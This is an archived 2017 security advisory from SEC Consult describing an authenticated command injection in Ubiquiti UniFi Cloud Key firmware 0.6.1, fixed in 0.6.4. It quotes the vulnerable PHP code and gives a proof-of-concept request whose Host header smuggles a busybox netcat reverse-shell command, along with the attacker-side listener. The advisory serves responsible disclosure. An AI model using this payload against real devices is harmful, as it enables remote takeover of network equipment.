lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [day] [month] [year] [list]
Date: Fri, 4 Aug 2017 17:16:28 +0300
From: SEC Consult Vulnerability Lab <>
To: <>, <>
Subject: SEC Consult SA-20170804-1 :: Ubiquiti Networks UniFi Cloud Key
 authenticated command injection

SEC Consult Vulnerability Lab Security Advisory < 20170804-1 >
              title: Authenticated Command Injection
            product: Ubiquiti Networks UniFi Cloud Key
 vulnerable version: Firmware v0.6.1
      fixed version: Firmware v0.6.4
         CVE number:
             impact: High
              found: 2017-03-26
                 by: T. Weber (Office Vienna)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
                     Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich


Vendor description:
"Ubiquiti Networks develops high-performance networking
technology for service providers and enterprises. Our technology
platforms focus on delivering highly advanced and easily deployable
solutions that appeal to a global customer base in underserved and
underpenetrated markets."


Business recommendation:
SEC Consult recommends not to use this device in production until a thorough
security review has been performed by security professionals and all
identified issues have been resolved.

Vulnerability overview/description:
A command injection can be triggered via the hostname header in the status GET
request. This vulnerability can be exploited when the Cloud Key web interface
is exposed to the Internet and an attacker has credentials to it.

Proof of concept:
The following PHP snipplet is responsible for the command execution vulnerability:

(, line 265)
function is_unifi_running() {
    if (!isset($_SERVER['HTTP_HOST'])) {
            $c_host = $_SERVER['SERVER_ADDR'];
    } else {
            $c_host = $_SERVER['HTTP_HOST'];
    $unifi_href = 'http://' . $c_host . ':8080/status';
    exec(CMD_CURL . $unifi_href, $out, $rc);
    if ($rc == 0) {
        return true;
    return false;

Since '$c_host' is not filtered, a command injection is possible.

The following GET request was used to open a reverse-shell via command injection
from the Cloud Key system ( to the attacker (
GET /api/status HTTP/1.1
Host:;busybox nc 8999 -e bash;
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
X-Access-Token: <Token>
Cookie: CKSESSIONID=<Session-ID>
Connection: close

As the listener, netcat was used:
$ nc -lvp 8999

Vulnerable / tested versions:
Ubiquiti Networks UniFi Cloud Key version 0.6.1 has been tested. This version
was the latest at the time the security vulnerabilities were discovered.

Vendor contact timeline:
2017-03-29: Contacting vendor via HackerOne. Vendor sets status to
2017-04-24: Asking for a status update; No answer.
2017-05-06: Found update 0.6.4 on the website of the vendor.
2017-05-15: Contacted vendor via e-mail and asked for status.
2017-05-16: Vendor closed the ticked and changed the status to resolved.
            Current firmware version was v0.6.4. Set the publication
            date to 2017-08-04 (at least 90 days after fix).
2017-08-04: Public release of security advisory

Upgrade to v0.6.4 or above.


Advisory URL:


SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

Interested to work with the experts of SEC Consult?
Send us your application

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices

Mail: research at sec-consult dot com

EOF T. Weber / @2017

Download attachment "signature.asc" of type "application/pgp-signature" (820 bytes)

Powered by blists - more mailing lists